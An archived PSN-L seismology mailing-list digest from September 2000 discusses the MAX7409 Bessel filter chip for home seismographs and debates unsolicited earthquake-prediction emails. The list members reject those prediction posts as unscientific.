temperature output offset drift Spec doesn't look very good at ~ +/- 0.1 V over the ambient range and I'm not over enthusiastic about 5 mV clock feedthrough. 1 Hz is right on the bottom of it's range. Might be OK, but it needs to be checked out carefully. Regards, Chris Chapman __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: QUAKE RESULTS From: "R.SHANMUGASUNDARAM" vu2rss@....... Date: Sun, 3 Sep 2000 12:42:32 +0530 QUAKE IN ANDHRA PRADESH: Today morning (17th Sept.2000), Hyderabad the capital city of Andhra Pradesh and its surrounding=20 areas, have experienced mild tremours of 2.5 in Magnitude. Further informations are awaited. On 16th Sept.2000, two tremors were measuring=20 2.8 Richter Scale hit Ahmedabad, Gujrat . This was matched with my prediction report of 14th Sept.2000 except the intensity. Quakes of 4.7M and 5.4M were rocked at Kuril Islands close to Japan) and Minahassa (Indonesian Islands) as per my above report and expecting other results within 2 days.=20 My prediction report of 14th Sept.2000 is given below for ready reference. R.SHANMUGASUNDARAM THOSE WHO DONOT WANT THIS REPORT PLEASE SEND EMAIL WITH ONE WORD 'NEED NOT SEND'. ----------------------------Original Message------------------- EARTHQUAKE RESULT DT.14TH SEPT.2000 There are two tremors rocked Ahmedabad, Gujarat of minor intensity. Further informations awaited. Matched with my yesterday's report. According to today's earth movement chances of=20 another quake will be hit more or less in the same area to southern parts of India too with 4.0+M R.SHANMUGASUNDARAM 14.09.2000
QUAKE IN ANDHRA=20 PRADESH:
 
Today morning (17th Sept.2000), Hyderabad=20 the
capital city of Andhra Pradesh and its surrounding=20
areas, have experienced = mild=20 tremours of 2.5 in
Magnitude. Further informations are awaited.
On 16th Sept.2000,  two tremors were measuring =
2.8 Richter Scale hit Ahmedabad, Gujrat=20 .. This was
matched with my prediction report of 14th = Sept.2000
except the intensity.
 
Quakes of 4.7M and 5.4M were rocked at Kuril = Islands
close to Japan) and Minahassa (Indonesian = Islands)
as per my above report  and expecting other=20 results
within 2 days. 
 
My prediction report of 14th Sept.2000 is given below for
ready reference.
 
 
R.SHANMUGASUNDARAM
 
 
THOSE WHO DONOT WANT THIS REPORT PLEASE
SEND EMAIL WITH ONE WORD 'NEED NOT SEND'.
 
----------------------------Original = Message-------------------
 
EARTHQUAKE RESULT DT.14TH=20 SEPT.2000
 
There are two = tremors rocked Ahmedabad, = Gujarat
of minor intensity. Further = informations=20 awaited.
Matched with my yesterday's=20 report.
 
According to = today's earth=20 movement chances of
another=20 quake will be hit = more or less=20 in the same
area to southern parts of = India too=20 with  4.0+M
 
R.SHANMUGASUNDARAM
14.09.2000
Subject: Re: BESSEL FILTERS From: Bob Smith bobsmith5@........ Date: Sun, 17 Sep 2000 09:12:41 -0400 The MAX7409 is a digital domain, switched capacitor filter, not an analog filter. As such it is subject to aliasing problems as are all sampled data systems. On the plus side, it is simple and, being clocked, highly stable. Passband frequency and phase responses should be true Bessel function so group delay distortion should not be a problem. Also, Maxim are a great company to deal with, you should have little trouble sampling a couple of these. I recently searched for a 1-10 Hz cutoff filter to clean up the output of a hydraulic pressure transducer in a hydraulic servo system and came very close to using this part, but finally settled on a two section R-C low pass filter with good results. Bob Smith RADIOTEL@....... wrote: > > TO: ALL > MAXIM has a 5 pole Bessel analog filter (Part # 7409) which is an 8 pin dip > package which operates with 5 volts. Since they only require several > additional components (resistor and two capacitors) to operate, they would > appear to be useful for a seismograph. Has anyone had any experience with > these filters? MAXIM's Web address: http://www.maxim-ic.com should you like > to check it out. > Jim Allen > __________________________________________________________ > > Public Seismic Network Mailing List (PSN-L) > > To leave this list email PSN-L-REQUEST@.............. with > the body of the message (first line only): unsubscribe > See http://www.seismicnet.com/maillist.html for more information. -- --------- Avoid computer viruses -- Practice safe hex ------------- * * Specializing in small, cost effective embedded control systems * * Robert L. (Bob) Smith Smith Machine Works, Inc. internet bobsmith5@.............. Lumlay Road landline 804/745-1065 Richmond, Virginia 23236+1004 __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: BESSEL FILTERS - reply correction From: ChrisAtUpw@....... Date: Sun, 17 Sep 2000 10:09:34 EDT > In a message dated 17/09/00 03:58:08 GMT Daylight Time, RADIOTEL@....... > writes: > > TO: ALL > > MAXIM has a 5 pole Bessel analog filter (Part # 7409) which is an 8 pin > > dip package which operates with 5 volts. Since they only require several > > additional components (resistor and two capacitors) to operate, they > > would appear to be useful for a seismograph. > > The temperature output offset drift Spec doesn't look very good at ~ +/- > 0.1 V over the ambient range and I'm not over enthusiastic about 5 mV clock > feedthrough. 1 Hz is right on the bottom of it's range. Might be OK, but it > needs to be checked out carefully. My apologies. I miss-read my screen. The temperature output offset drift should read -0.1 mV to +0.2 mV over the ambient range, which is fine. The 5 mV clock comment still applies, although at clock frequency = 100 x corner frequency this is easily reduced by more filtering, since the output needs to be buffered anyway. There doesn't seem to be any drift / error spec for the signal at 1 Hz and with a capacity of only 2.1 pF, this could be significant. Most of the graphs seem to be for 1 KHz. The MAX7409 uses a 5 V supply with the zero level of 2.5 V and the quoted range is 1 Hz to 15 KHz. The internal clock drift of 1% over 20 C Deg looks OK, but you will need to select the capacity to get the correct clock frequency - the centre frequency spec seems to be +27% to -30% . Chris Chapman __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: R: QUAKE RESULTS From: "Giovanni Rotta" rottag@.......... Date: Sun, 17 Sep 2000 19:08:56 +0200 Dear friend, I'm a serious person and I don't like to lost my precious time reading = your "predictions". Please, don't write me. Thank you. Regards, Giovanni Rotta - Italy rottag@.......... ----- Original Message -----=20 From: R.SHANMUGASUNDARAM=20 To: Shoji Sekiguchi ; SHASIKANTH ; Sadaki Hori ; RTW ; PSN NET ; Prof. = Philip A. Allen ; Papua New Guinea ; Narender K. Sehgal ; Mrs Joann = Layng ; Mizuho Ishida ; MAX ; MAHARASTRA ; KUMARAVEL ; KING ; KANNAN ; = Jan Alvestad ; JAMES BERKLAND ; Italy ; Hiroyuki Kawai ; Hiroshi = Murakami ; Hiroshi Inoue ; Guinea ; GRISH ; GARCIA ; Eiichi Fukuyama ; = DR.C.THANASSOULAS ; DISCOVERY ; AVILA ; ASKGEOLOGIST ; Akis Tselentis ; = DHINATHANTHI ; DINAMALAR ; OUTLOOK=20 Sent: Sunday, September 03, 2000 9:12 AM Subject: QUAKE RESULTS QUAKE IN ANDHRA PRADESH: Today morning (17th Sept.2000), Hyderabad the capital city of Andhra Pradesh and its surrounding=20 areas, have experienced mild tremours of 2.5 in Magnitude. Further informations are awaited. On 16th Sept.2000, two tremors were measuring=20 2.8 Richter Scale hit Ahmedabad, Gujrat . This was matched with my prediction report of 14th Sept.2000 except the intensity. Quakes of 4.7M and 5.4M were rocked at Kuril Islands close to Japan) and Minahassa (Indonesian Islands) as per my above report and expecting other results within 2 days.=20 My prediction report of 14th Sept.2000 is given below for ready reference. R.SHANMUGASUNDARAM THOSE WHO DONOT WANT THIS REPORT PLEASE SEND EMAIL WITH ONE WORD 'NEED NOT SEND'. ----------------------------Original Message------------------- =20 EARTHQUAKE RESULT DT.14TH SEPT.2000 There are two tremors rocked Ahmedabad, Gujarat of minor intensity. Further informations awaited. Matched with my yesterday's report. According to today's earth movement chances of=20 another quake will be hit more or less in the same area to southern parts of India too with 4.0+M R.SHANMUGASUNDARAM 14.09.2000
Dear friend,
I'm a serious person and I don't like to lost my = precious=20 time reading your "predictions".
Please, don't write me. Thank you.
Regards,
 
Giovanni Rotta - Italy
rottag@..........
----- Original Message -----
From:=20 R.SHANMUGASUNDARAM=20
To: Shoji Sekiguchi ; SHASIKANTH ;=20 Sadaki=20 Hori ; RTW ;=20 PSN NET ;=20 Prof. Philip = A. Allen=20 ; Papua New = Guinea ; Narender = K. Sehgal=20 ; Mrs Joann = Layng ; Mizuho=20 Ishida ; MAX ; MAHARASTRA ; KUMARAVEL ; KING = ; KANNAN ; Jan = Alvestad ;=20 JAMES = BERKLAND=20 ; Italy ; Hiroyuki=20 Kawai ; Hiroshi Murakami ; Hiroshi=20 Inoue ; Guinea ;=20 GRISH ; GARCIA ; Eiichi=20 Fukuyama ; DR.C.THANASSOULAS ; DISCOVERY ; AVILA ;=20 ASKGEOLOGIST ; Akis = Tselentis=20 ; DHINATHANTHI ; DINAMALAR ; OUTLOOK
Sent: Sunday, September 03, = 2000 9:12=20 AM
Subject: QUAKE RESULTS

QUAKE IN ANDHRA=20 PRADESH:
 
Today morning (17th Sept.2000), Hyderabad=20 the
capital city of Andhra Pradesh and its = surrounding=20
areas, have experienced = mild=20 tremours of 2.5 in
Magnitude. Further informations are = awaited.
On 16th Sept.2000,  two tremors were measuring=20
2.8 Richter Scale hit Ahmedabad, Gujrat=20 . This was
matched with my prediction report of 14th=20 Sept.2000
except the intensity.
 
Quakes of 4.7M and 5.4M were rocked at Kuril=20 Islands
close to Japan) and Minahassa (Indonesian = Islands)
as per my above report  and expecting other=20 results
within 2 days. 
 
My prediction report of 14th Sept.2000 is given below for
ready reference.
 
 
R.SHANMUGASUNDARAM
 
 
THOSE WHO DONOT WANT THIS REPORT PLEASE
SEND EMAIL WITH ONE WORD 'NEED NOT SEND'.
 
----------------------------Original = Message-------------------
 
EARTHQUAKE RESULT DT.14TH=20 SEPT.2000
 
There are two=20 tremors rocked = Ahmedabad,=20 Gujarat
of minor intensity. Further = informations=20 awaited.
Matched with my yesterday's=20 report.
 
According to = today's earth=20 movement chances of
another = quake will be hit = more or less=20 in the same
area to southern parts of = India too=20 with  4.0+M
 
R.SHANMUGASUNDARAM
14.09.2000
Subject: R: QUAKE RESULTS From: "Giovanni Rotta" rottag@.......... Date: Sun, 17 Sep 2000 19:08:56 +0200 Dear friend, I'm a serious person and I don't like to lost my precious time reading = your "predictions". Please, don't write me. Thank you. Regards, Giovanni Rotta - Italy rottag@.......... ----- Original Message -----=20 From: R.SHANMUGASUNDARAM=20 To: Shoji Sekiguchi ; SHASIKANTH ; Sadaki Hori ; RTW ; PSN NET ; Prof. = Philip A. Allen ; Papua New Guinea ; Narender K. Sehgal ; Mrs Joann = Layng ; Mizuho Ishida ; MAX ; MAHARASTRA ; KUMARAVEL ; KING ; KANNAN ; = Jan Alvestad ; JAMES BERKLAND ; Italy ; Hiroyuki Kawai ; Hiroshi = Murakami ; Hiroshi Inoue ; Guinea ; GRISH ; GARCIA ; Eiichi Fukuyama ; = DR.C.THANASSOULAS ; DISCOVERY ; AVILA ; ASKGEOLOGIST ; Akis Tselentis ; = DHINATHANTHI ; DINAMALAR ; OUTLOOK=20 Sent: Sunday, September 03, 2000 9:12 AM Subject: QUAKE RESULTS QUAKE IN ANDHRA PRADESH: Today morning (17th Sept.2000), Hyderabad the capital city of Andhra Pradesh and its surrounding=20 areas, have experienced mild tremours of 2.5 in Magnitude. Further informations are awaited. On 16th Sept.2000, two tremors were measuring=20 2.8 Richter Scale hit Ahmedabad, Gujrat . This was matched with my prediction report of 14th Sept.2000 except the intensity. Quakes of 4.7M and 5.4M were rocked at Kuril Islands close to Japan) and Minahassa (Indonesian Islands) as per my above report and expecting other results within 2 days.=20 My prediction report of 14th Sept.2000 is given below for ready reference. R.SHANMUGASUNDARAM THOSE WHO DONOT WANT THIS REPORT PLEASE SEND EMAIL WITH ONE WORD 'NEED NOT SEND'. ----------------------------Original Message------------------- =20 EARTHQUAKE RESULT DT.14TH SEPT.2000 There are two tremors rocked Ahmedabad, Gujarat of minor intensity. Further informations awaited. Matched with my yesterday's report. According to today's earth movement chances of=20 another quake will be hit more or less in the same area to southern parts of India too with 4.0+M R.SHANMUGASUNDARAM 14.09.2000
Dear friend,
I'm a serious person and I don't like to lost my = precious=20 time reading your "predictions".
Please, don't write me. Thank you.
Regards,
 
Giovanni Rotta - Italy
rottag@..........
----- Original Message -----
From:=20 R.SHANMUGASUNDARAM=20
To: Shoji Sekiguchi ; SHASIKANTH ;=20 Sadaki=20 Hori ; RTW ;=20 PSN NET ;=20 Prof. Philip = A. Allen=20 ; Papua New = Guinea ; Narender = K. Sehgal=20 ; Mrs Joann = Layng ; Mizuho=20 Ishida ; MAX ; MAHARASTRA ; KUMARAVEL ; KING = ; KANNAN ; Jan = Alvestad ;=20 JAMES = BERKLAND=20 ; Italy ; Hiroyuki=20 Kawai ; Hiroshi Murakami ; Hiroshi=20 Inoue ; Guinea ;=20 GRISH ; GARCIA ; Eiichi=20 Fukuyama ; DR.C.THANASSOULAS ; DISCOVERY ; AVILA ;=20 ASKGEOLOGIST ; Akis = Tselentis=20 ; DHINATHANTHI ; DINAMALAR ; OUTLOOK
Sent: Sunday, September 03, = 2000 9:12=20 AM
Subject: QUAKE RESULTS

QUAKE IN ANDHRA=20 PRADESH:
 
Today morning (17th Sept.2000), Hyderabad=20 the
capital city of Andhra Pradesh and its = surrounding=20
areas, have experienced = mild=20 tremours of 2.5 in
Magnitude. Further informations are = awaited.
On 16th Sept.2000,  two tremors were measuring=20
2.8 Richter Scale hit Ahmedabad, Gujrat=20 . This was
matched with my prediction report of 14th=20 Sept.2000
except the intensity.
 
Quakes of 4.7M and 5.4M were rocked at Kuril=20 Islands
close to Japan) and Minahassa (Indonesian = Islands)
as per my above report  and expecting other=20 results
within 2 days. 
 
My prediction report of 14th Sept.2000 is given below for
ready reference.
 
 
R.SHANMUGASUNDARAM
 
 
THOSE WHO DONOT WANT THIS REPORT PLEASE
SEND EMAIL WITH ONE WORD 'NEED NOT SEND'.
 
----------------------------Original = Message-------------------
 
EARTHQUAKE RESULT DT.14TH=20 SEPT.2000
 
There are two=20 tremors rocked = Ahmedabad,=20 Gujarat
of minor intensity. Further = informations=20 awaited.
Matched with my yesterday's=20 report.
 
According to = today's earth=20 movement chances of
another = quake will be hit = more or less=20 in the same
area to southern parts of = India too=20 with  4.0+M
 
R.SHANMUGASUNDARAM
14.09.2000
Subject: Re: Dogs barking at sunrise.... From: twleiper@........ Date: Sun, 17 Sep 2000 13:52:06 -0400 How can we get this crap off the reflector? I predict there will be an earthquake somewhere in the South Pacific exceeding 4.5 in the next 36 hrs. Big F*!?%g Deal !!! It's OK if my dog barks when the Sun rises, but it becomes a problem if I think the Sun will not rise unless he does so... > ----- Original Message ----- > From: R.SHANMUGASUNDARAM > To: Shoji Sekiguchi ; SHASIKANTH ; Sadaki Hori ; RTW ; PSN NET ; > Prof. Philip A. Allen ; Papua New Guinea ; Narender K. Sehgal ; Mrs > Joann Layng ; Mizuho Ishida ; MAX ; MAHARASTRA ; KUMARAVEL ; KING ; > KANNAN ; Jan Alvestad ; JAMES BERKLAND ; Italy ; Hiroyuki Kawai ; > Hiroshi Murakami ; Hiroshi Inoue ; Guinea ; GRISH ; GARCIA ; Eiichi > Fukuyama ; DR.C.THANASSOULAS ; DISCOVERY ; AVILA ; ASKGEOLOGIST ; > Akis Tselentis ; DHINATHANTHI ; DINAMALAR ; OUTLOOK > Sent: Sunday, September 03, 2000 9:12 AM > Subject: QUAKE RESULTS > > > QUAKE IN ANDHRA PRADESH: > > Today morning (17th Sept.2000), Hyderabad the > capital city of Andhra Pradesh and its surrounding > areas, have experienced mild tremours of 2.5 in > Magnitude. Further informations are awaited. > On 16th Sept.2000, two tremors were measuring > 2.8 Richter Scale hit Ahmedabad, Gujrat . This was > matched with my prediction report of 14th Sept.2000 > except the intensity. > > Quakes of 4.7M and 5.4M were rocked at Kuril Islands > close to Japan) and Minahassa (Indonesian Islands) > as per my above report and expecting other results > within 2 days. > > My prediction report of 14th Sept.2000 is given below for > ready reference. > > > R.SHANMUGASUNDARAM > > > THOSE WHO DONOT WANT THIS REPORT PLEASE > SEND EMAIL WITH ONE WORD 'NEED NOT SEND'. > > ----------------------------Original Message------------------- > > EARTHQUAKE RESULT DT.14TH SEPT.2000 > > There are two tremors rocked Ahmedabad, Gujarat > of minor intensity. Further informations awaited. > Matched with my yesterday's report. > > According to today's earth movement chances of > another quake will be hit more or less in the same > area to southern parts of India too with 4.0+M > > R.SHANMUGASUNDARAM > 14.09.2000 __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Dogs barking at sunrise.... From: twleiper@........ Date: Sun, 17 Sep 2000 13:52:06 -0400 How can we get this crap off the reflector? I predict there will be an earthquake somewhere in the South Pacific exceeding 4.5 in the next 36 hrs. Big F*!?%g Deal !!! It's OK if my dog barks when the Sun rises, but it becomes a problem if I think the Sun will not rise unless he does so... > ----- Original Message ----- > From: R.SHANMUGASUNDARAM > To: Shoji Sekiguchi ; SHASIKANTH ; Sadaki Hori ; RTW ; PSN NET ; > Prof. Philip A. Allen ; Papua New Guinea ; Narender K. Sehgal ; Mrs > Joann Layng ; Mizuho Ishida ; MAX ; MAHARASTRA ; KUMARAVEL ; KING ; > KANNAN ; Jan Alvestad ; JAMES BERKLAND ; Italy ; Hiroyuki Kawai ; > Hiroshi Murakami ; Hiroshi Inoue ; Guinea ; GRISH ; GARCIA ; Eiichi > Fukuyama ; DR.C.THANASSOULAS ; DISCOVERY ; AVILA ; ASKGEOLOGIST ; > Akis Tselentis ; DHINATHANTHI ; DINAMALAR ; OUTLOOK > Sent: Sunday, September 03, 2000 9:12 AM > Subject: QUAKE RESULTS > > > QUAKE IN ANDHRA PRADESH: > > Today morning (17th Sept.2000), Hyderabad the > capital city of Andhra Pradesh and its surrounding > areas, have experienced mild tremours of 2.5 in > Magnitude. Further informations are awaited. > On 16th Sept.2000, two tremors were measuring > 2.8 Richter Scale hit Ahmedabad, Gujrat . This was > matched with my prediction report of 14th Sept.2000 > except the intensity. > > Quakes of 4.7M and 5.4M were rocked at Kuril Islands > close to Japan) and Minahassa (Indonesian Islands) > as per my above report and expecting other results > within 2 days. > > My prediction report of 14th Sept.2000 is given below for > ready reference. > > > R.SHANMUGASUNDARAM > > > THOSE WHO DONOT WANT THIS REPORT PLEASE > SEND EMAIL WITH ONE WORD 'NEED NOT SEND'. > > ----------------------------Original Message------------------- > > EARTHQUAKE RESULT DT.14TH SEPT.2000 > > There are two tremors rocked Ahmedabad, Gujarat > of minor intensity. Further informations awaited. > Matched with my yesterday's report. > > According to today's earth movement chances of > another quake will be hit more or less in the same > area to southern parts of India too with 4.0+M > > R.SHANMUGASUNDARAM > 14.09.2000 __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: ic filters From: sean@........... Date: Sun, 17 Sep 2000 12:57:30 -0500 (CDT) Re MAXIM filters: I have a whole drawer full of MAXIM samples (They managed to mis-spell my name so every variation gets the product literature with the FREE sample postcards). We evaluated a number of IC filters, and found that for our needs in preamps for seismic telemetry stations, they: 1. Are noisy, by our need for greater than 90db SNR. 2. Are power hungry (we worry about 10 microamps per amplifier) 3. Don't really save over parts since an output buffer is needed. 4. The single-side supply requires AC input/output coupling of the bipolar ground-referenced seismic and VCO signals, which complicates any design for a very low frequency or DC response. A VCO (voltage controlled oscillator) is used for telemetry. 5. We actually have lots of single amps to use in the 2-amp 4-pole analog filter since we screen all of them for noise, using the quietest in the first stage, since its noise is amplified by the second. We use a unity gain filter configuration to reduce the contribution of 1/f noise and resistor thermal noise. Regards, Sean-Thomas __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Earthquake prediction messages From: Larry Cochrane cochrane@.............. Date: Sun, 17 Sep 2000 12:18:41 -0700 All, I just sent an email asking the person who is sending the earthquake "predictions" messages too stop posting to our list. In my opinion, and others, these message are off topic. Having said that, and trying to keep an open mind about predicting earthquakes, I don't want to totally stop all prediction posts. If someone comes up with some equipment or away of making accurate predictions, I for one would like to hear about it since I live near large active faults! I just don't think earthquakes are predictable, so I'm not holding my breath for this to happen. If someone is going to make a prediction it has to be as precises as possible with a location, time frame and magnitude range. All three parameters must be met before the prediction can be considered a "hit". If the predictor predicts a magnitude 5 and a magnitude 2.5 happens in the time frame and location that doesn't count etc... Regards, Larry Cochrane Redwood City, PSN __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Earthquake prediction messages From: ted@.......... Date: Sun, 17 Sep 2000 18:04:45 -0400 Given the difficulty of the problem and the lack of success so far, predictions (particularly those which are based on new and untried principles) should be made in a manner which indicates that the predictor accepts the burden of proof. It is not up to the rest of us to convince Mr. R.SHANMUGASUNDARAM why we don't believe him. Rather it is up to him to convince us why his new approach is a better way to view the problem and why it improves the probability of successful prediction. Nothing he has done so far addresses this issue. I would encourage him to stop making predictions and explain his theories in sufficient detail to allow others to replicate his results. While I'm happy to keep an open mind, I'm willing to risk missing the breakthrough of the century unless the predictions are made in a scientific manner. Anything else belongs on alt.voodoo. Regards, Ted Larry Cochrane @.............. on 09/17/2000 03:18:41 PM Please respond to psn-l@.............. Sent by: psn-l-request@.............. To: psn-l@.............. cc: Subject: Earthquake prediction messages All, I just sent an email asking the person who is sending the earthquake "predictions" messages too stop posting to our list. In my opinion, and others, these message are off topic. Having said that, and trying to keep an open mind about predicting earthquakes, I don't want to totally stop all prediction posts. If someone comes up with some equipment or away of making accurate predictions, I for one would like to hear about it since I live near large active faults! I just don't think earthquakes are predictable, so I'm not holding my breath for this to happen. If someone is going to make a prediction it has to be as precises as possible with a location, time frame and magnitude range. All three parameters must be met before the prediction can be considered a "hit". If the predictor predicts a magnitude 5 and a magnitude 2.5 happens in the time frame and location that doesn't count etc... Regards, Larry Cochrane Redwood City, PSN __________________________________________________________ Public Seismic Network Mailing List (PSN-L) __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Earthquake prediction messages From: Canie canie@........... Date: Sun, 17 Sep 2000 15:20:23 -0700 Hi Larry, I host a web site that is dedicated to the sort of quake prediction posts that are being made to the list. We limit who we allow to post due to obvious abusive communications that are possible on this subject, therefore people need to register prior to posting - its a one time registration and all e-mail addresses are kept confidential. Alan Jones is also one of our readers/posters who evaluated predictions. Anyone interested in posting their predictions should go to this site and register: http://www.earthwaves.org/wwwboard/wwwboard.html Canie At 12:18 PM 9/17/00 -0700, Larry Cochrane wrote: >All, > >I just sent an email asking the person who is sending the earthquake >"predictions" messages too stop posting to our list. In my opinion, and >others, these message are off topic. > >Having said that, and trying to keep an open mind about predicting >earthquakes, I don't want to totally stop all prediction posts. If someone >comes up with some equipment or away of making accurate predictions, I for >one would like to hear about it since I live near large active faults! I >just don't think earthquakes are predictable, so I'm not holding my breath >for this to happen. > >If someone is going to make a prediction it has to be as precises as >possible with a location, time frame and magnitude range. All three >parameters must be met before the prediction can be considered a "hit". If >the predictor predicts a magnitude 5 and a magnitude 2.5 happens in the >time frame and location that doesn't count etc... > >Regards, >Larry Cochrane >Redwood City, PSN > >__________________________________________________________ > >Public Seismic Network Mailing List (PSN-L) > >To leave this list email PSN-L-REQUEST@.............. with >the body of the message (first line only): unsubscribe >See http://www.seismicnet.com/maillist.html for more information. __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Earthquake prediction messages From: "steve hammond" shammon1@............. Date: Sun, 17 Sep 2000 18:23:53 -0700 Hi Larry, thanks for the intervention. I support your comments. FYI, the PSN has had two encounters with predictions in the past. Both resulted in the group being cast into the position where we had to defend our groups intentions including it's internal communications. One incident involved Jack Cole who got the news media in a "news story feeding frenzy" after Jack reported he could predict earthquakes when his stereo speakers popped and crackled and the other was a fellow that posted information about the AEC drilling tunnels along the fault lines to test atomic weapons, predicting the testing would continue. Each time there was an earthquake, that guy would claim it was another AEC test along the Hayward or SA fault. Let me get to the point. As a group the routinely reaches out to help schools, libraries, and children's museums, one of the things we forget to consider is that several young kids read our comments because they have an interest in learning about earthquakes. Most don't know how to extract the fact from the not so factual information being presented. Let me relate a true story to you. After one of Jack Cole's predictions, predicting a great earthquake in the San Francisco Bay area, a nine year old that lived across the street showed up at my door. She knew I recorded earthquakes and wanted to know what I thought. She was frightened, having lost a lot of sleep over Jack's predications. We talked on the front step for awhile and after she left she brought back three other kids from the block. I repeated the same lecture on earthquakes, plate tectonics, and earthquake frequency along any given fault line. Larry, you might remember this story because you were a part of the discussion that ensued. We talked it around in the group and came up with a plan. 1) Only God and the State Board of Emergency Services was allowed to make earthquake predictions that included the PSN. 2) Any real prediction would have the exact time, place, depth, and size and be supported by accepted scientific evidence. For example, if you look at the Parkfield prediction done by Al Lynd at the USGS, it contains each of these components and is supported by scientific study. I for one still feel that the Parkfield event will occur and what I would really like to know is why it has not in the given time frame. I view this new current round of predictions as being more theatrical in nature and a grab for the spotlight because of the way they have been presented. I don't feel the predictions are supported by scientific evidence and therefor are premature until a hypothesis has been clearly stated and proven statistically to be valid. I think a good spot for these predictions would be on Canie's site. Thanks Canie-- Because there, they will be posted in a context that is of a predictive nature and understood to be outside the current bounds of seismology and the construction and operation of home built seismographs. Regards, Steve Hammond PSN San Jose Aptos, California -----Original Message----- From: Canie To: psn-l@.............. Date: Sunday, September 17, 2000 3:37 PM Subject: Re: Earthquake prediction messages >Hi Larry, > >I host a web site that is dedicated to the sort of quake prediction posts >that are being made to the list. > >We limit who we allow to post due to obvious abusive communications that >are possible on this subject, therefore people need to register prior to >posting - its a one time registration and all e-mail addresses are kept >confidential. > >Alan Jones is also one of our readers/posters who evaluated predictions. > >Anyone interested in posting their predictions should go to this site and >register: >http://www.earthwaves.org/wwwboard/wwwboard.html > >Canie > >At 12:18 PM 9/17/00 -0700, Larry Cochrane wrote: >>All, >> >>I just sent an email asking the person who is sending the earthquake >>"predictions" messages too stop posting to our list. In my opinion, and >>others, these message are off topic. >> >>Having said that, and trying to keep an open mind about predicting >>earthquakes, I don't want to totally stop all prediction posts. If someone >>comes up with some equipment or away of making accurate predictions, I for >>one would like to hear about it since I live near large active faults! I >>just don't think earthquakes are predictable, so I'm not holding my breath >>for this to happen. >> >>If someone is going to make a prediction it has to be as precises as >>possible with a location, time frame and magnitude range. All three >>parameters must be met before the prediction can be considered a "hit". If >>the predictor predicts a magnitude 5 and a magnitude 2.5 happens in the >>time frame and location that doesn't count etc... >> >>Regards, >>Larry Cochrane >>Redwood City, PSN >> >>__________________________________________________________ >> >>Public Seismic Network Mailing List (PSN-L) >> >>To leave this list email PSN-L-REQUEST@.............. with >>the body of the message (first line only): unsubscribe >>See http://www.seismicnet.com/maillist.html for more information. > >__________________________________________________________ > >Public Seismic Network Mailing List (PSN-L) > >To leave this list email PSN-L-REQUEST@.............. with >the body of the message (first line only): unsubscribe >See http://www.seismicnet.com/maillist.html for more information. __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Earthquake prediction messages From: JD Cooley jdcooley@............. Date: Sun, 17 Sep 2000 20:31:54 -0700 I agree with Larry and others that earthquake predictions do not belong on this mailing list. There are a number of web sites that are dedicated to earthquake predictions and that is where the predictions belong. I used to post to one of those bulletin boards and became the "keeper of hits and misses". Up to that time, no one was actually keeping track of how accurate the predictions were (expect for the predictions by the "famous person" that had the web site). Of course I had to set up some guidelines for determining hits and misses. A specific location (within a radius of a stated number of miles), a specific time (no limit), and a specific magnitude. Then I gave a a "fudge factor" of 10%. It was mentioned by the "famous person" that he had been working on a method of grading predictions and it included all of the above, but also a "quality factor". In other words, what are the odds of that quake happening? After all, if I were to predict a M3.5 within 50 miles of San Francisco during the month of September, 2000, I would be very confident that I would get a hit! Over time, I'm sure I would be very nearly 100% accurate. When I started "grading" hits using the odds factor, it really showed a lot more than just a hit or miss. I was asked to stop using the grading system because some people would get so discouraged that they would stop posting earthquake predictions. I stopped using the grading system, but still feel it is necessary. There are some problems with earthquake predictions that many people don't think about. First of all, when someone predicts an earthquake and they get a "hit", what about the other earthquakes (with magnitudes that could cause damage) that they *didn't* predict? But, I think the major thing that needs to be considered about earthquake prediction is what, if anything, should be done in an area where a large earthquake has been predicted? Let's say that a person/method can predict 90% of all quakes in a particular area. Let's further say that the magnitude accuracy is within +/- 10% of the actual magnitude. Since most predictions are not for a specific date and time of day, let's say that the accuracy for time is within +/- 3 days. I think we would all agree that that method was very, very good. Now, this ficticious method predicts a M7.1 earthquake within 25 miles of San Francisco on September 27, 2000. Of course, how far ahead of the predicted quake the prediction is made is important, but let's say it was made today, September 17, 2000. So, we have 10 days! What does the government do about this? Do we evacuate all of the people from a 25-mile radius from San Francisco from September 23 though October 1? I think you can see where I'm going with this. I would like to say that there are some people/methods of predicting earthquakes that have *some* merit. Although I had not visted the web site I mentioned above, I did go to it after the "Hector Mine" earthquake in the Twentynine Palms area just to see if anyone had predicted that one. I found that for a few days before (perhaps as much as a week before) two people in particular were warning of a large quake in the Twentynine Palms area. In fact, one of them went as far as to say "If I lived in Twentynine Palms, I' get out of town for the weekend." Interesting!! "JD" Cooley Poway (San Diego County) __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Earthquake prediction messages From: Arie Verveer ajbv@............ Date: Mon, 18 Sep 2000 12:01:23 +0800 Hi, Good remarks all around. It is important to distinguish between science and the views of individuals. I for one monitor the ULF background radiation and on occasions have found some remarkable coincidences between large quakes and activity on this wave band. It has been reported by some researchers that there can be an increase in the ULF-ELF background prior to quakes. What concerns me, how does the PSN community views my occasional postings to event list with some interesting ULF data. For example, today I have posted to files (000916a.au2, 000916a.au4) one file is a local quake and the other is the ULF - ELF background over the same time period. The observable pluses in the ULF - ELF data would appear to be related to the solar activity and its influence on our magnetic field. But what is very interesting is the quake occurred at the same time as the magnet pulse. From this, maybe, one can conclude that a quake can be triggered by a change in the magnetic field. If this is true then this a an interesting find. By the way there is another local quake today, that occurred during a magnetic storm ? From what I have observed in the ULF record, it would appear that on some occasions there are ULF (magnetic) emanations from some big quakes. Generally deeper than 33 km. As for shallow quakes, nothing has been recorded. This type of research, in my option is worth doing but it can be easily tarnished by the "prediction" people. Though I don't totally dismiss there claims, It is known that ELF- ULF (magnetic) field variations can in be perceived by individuals. It may be one some level that some rare people perceive something and animals may also perceive the ULF - ELF (magnetic) background. Remember many creatures use the earth magnetic field to navigate. So the question is, what is acceptable to the PSN community? Difficult question. The local ULF background may one day give an indication that something is going on, but in my opinion would not give a location of a quake or even its exact time. Cheers Arie >steve hammond 